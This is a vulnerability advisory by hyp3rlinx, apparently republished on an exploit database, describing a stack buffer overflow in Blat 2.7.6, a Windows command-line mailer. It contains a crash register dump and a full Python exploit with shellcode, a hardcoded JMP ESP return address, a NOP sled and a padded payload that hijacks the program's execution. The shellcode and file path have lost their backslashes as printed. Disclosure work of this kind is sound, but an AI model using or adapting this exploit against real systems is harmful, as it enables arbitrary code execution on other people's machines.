###########################

# Blat 2.7.6 Buffer Overflow Vulnerability

###########################

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt



Vendor:
================================www.blat.nethttp://sourceforge.net/projects/blat/



Product:
================================
Blat v2.7.6

blat.exe is a Win32 command line eMail tool
that sends eMail using SMTP or post to usenet using NNTP.


Vulnerability Type:
=====================
Stack Buffer Overflow


CVE Reference:
==============
N/A




Vulnerability Details:
=====================
An older release of blat.exe v2.7.6 is prone to a stack based buffer
overflow when sending
malicious command line arguments, we need to send two arguments first
can be whatever e.g. "AAAA"
then second argument to trigger the buffer overflow and execute
arbitrary code on the victims OS.


Stack dump...


EAX 00000826
ECX 0018E828 ASCII "Blat saw and processed these options, and was
confused by the last one...
AAAAAAA...
EDX 0008E3C8
EBX 000000E1
ESP 0018F05C ASCII "AAAAA...
EBP 41414141
ESI 00426E88 blat.00426E88
EDI 00272FD8
EIP 41414141 <-------------- BOOM!

C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)



Exploit code(s):
===============

Python script to exploit...


import struct,os,subprocess


#pop calc.exe Windows 7 SP1
sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B"
"x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B"
"x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31"
"xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA"
"x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14"
"x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65"
"x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC")

vulnpgm="C:blat276fullblat.exe "
eip=struct.pack('<L', 0x776D0115) #<--- JMP ESP kernel32.dll

payload="A"*2018+eip+"x90"*20+sc
subprocess.Popen([vulnpgm, "A"*4, payload], shell=False)



Disclosure Timeline:
=========================================================
Oct 14, 2015 : Public Disclosure



Severity Level:
=========================================================
Med


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that
due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given
to the author.
The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security
related information or exploits by the author or elsewhere.

by hyp3rlinx

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-22]

###########################